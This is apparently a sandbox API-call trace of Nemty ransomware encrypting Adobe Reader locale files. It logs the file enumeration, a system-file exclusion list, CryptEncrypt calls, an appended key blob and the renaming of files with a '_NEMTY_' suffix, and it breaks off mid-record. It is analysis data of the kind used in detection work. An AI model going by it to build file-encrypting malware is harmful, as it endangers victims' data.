CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\RdLang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\rdlang32.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.716] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1330176) returned 1 [0176.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.716] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.716] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.725] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.725] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.725] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1330176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144c00 [0176.726] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.727] CloseHandle (hObject=0x2e8) returned 1 [0176.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.727] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\RdLang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\rdlang32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\RdLang32.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\rdlang32.suo._nemty_kgobjgd_")) returned 1 [0176.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.728] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.SUO", cAlternateFileName="READOU~1.SUO")) returned 1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2=".") returned 1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="..") returned 1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="...") returned 1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="windows") returned -1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="rsa") returned -1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="NTDETECT.COM") returned 1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="ntldr") returned 1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="MSDOS.SYS") returned 1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="IO.SYS") returned 1 [0176.728] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="boot.ini") returned 1 [0176.729] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="boot.ini") returned 1 [0176.729] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.729] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="ntuser.dat") returned 1 [0176.729] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="desktop.ini") returned 1 [0176.729] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="CONFIG.SYS") returned 1 [0176.729] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="RECYCLER") returned -1 [0176.729] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.729] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="bootmgr") returned 1 [0176.729] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="programdata") returned 1 [0176.729] lstrcmpiW (lpString1="ReadOutLoud.SUO", lpString2="appdata") returned 1 [0176.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SUO", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0176.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SUO", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SUO", lpUsedDefaultChar=0x0) returned 15 [0176.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SUO", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0176.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SUO", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SUO", lpUsedDefaultChar=0x0) returned 15 [0176.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SUO", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0176.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SUO", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SUO", lpUsedDefaultChar=0x0) returned 15 [0176.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SUO", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0176.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SUO", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SUO", lpUsedDefaultChar=0x0) returned 15 [0176.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.729] Sleep (dwMilliseconds=0x5) [0176.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cfc7e10, dwHighDateTime=0x1d561e8)) [0176.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cfc7e10, dwHighDateTime=0x1d561e8)) [0176.730] GetLastError () returned 0x0 [0176.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.731] GetLastError () returned 0x0 [0176.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.731] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.731] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.731] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.731] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="3ceJ6zVAJblKUw4dFIb08dPfxGhkzFm469si8SXUws1ljuV/A8I4IUL+yiMwNdas\r\nRyen8e9EvokX0d9MTzANi83Xy566d0bnDSLsmcUvkDaqQG6XHug5UxKxffQkeyVN\r\nm8Gc77Wi7oy58+4Uw4NOCYSainFbkBiYcrjgnJs5lZ6iflBxTJP8ErJ1ElW2vMoF\r\nuzuMVBJGFOyC316851wio+lV8Emf7QGrpwTBwznMvt/4jtlHu4Msx4ARbfv2QLsi\r\nQpncG8p6nhpHoc0htol2bP/todSDqoPOmIC7zcsIs7QyNhMOnXEJxsU8fOh2ceGM\r\nYds2Cehn73JxTiyBCIJefw==\r\n", pcchString=0x653e5dc) returned 1 [0176.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.731] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\ReadOutLoud.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\readoutloud.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.731] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0176.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0176.732] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.732] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0176.734] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.734] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0176.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.734] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0176.734] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.734] CloseHandle (hObject=0x2e8) returned 1 [0176.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.735] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\ReadOutLoud.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\readoutloud.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\ReadOutLoud.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\readoutloud.suo._nemty_kgobjgd_")) returned 1 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.735] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.SUO", cAlternateFileName="")) returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2=".") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="..") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="...") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="windows") returned -1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="rsa") returned -1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="NTDETECT.COM") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="ntldr") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="MSDOS.SYS") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="IO.SYS") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="boot.ini") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="boot.ini") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="ntuser.dat") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="desktop.ini") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="CONFIG.SYS") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="RECYCLER") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="bootmgr") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="programdata") returned 1 [0176.736] lstrcmpiW (lpString1="reflow.SUO", lpString2="appdata") returned 1 [0176.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SUO", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SUO", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SUO", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SUO", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.737] Sleep (dwMilliseconds=0x5) [0176.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cfedf70, dwHighDateTime=0x1d561e8)) [0176.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cfedf70, dwHighDateTime=0x1d561e8)) [0176.746] GetLastError () returned 0x0 [0176.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.746] GetLastError () returned 0x0 [0176.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.746] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.746] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.746] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.746] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: 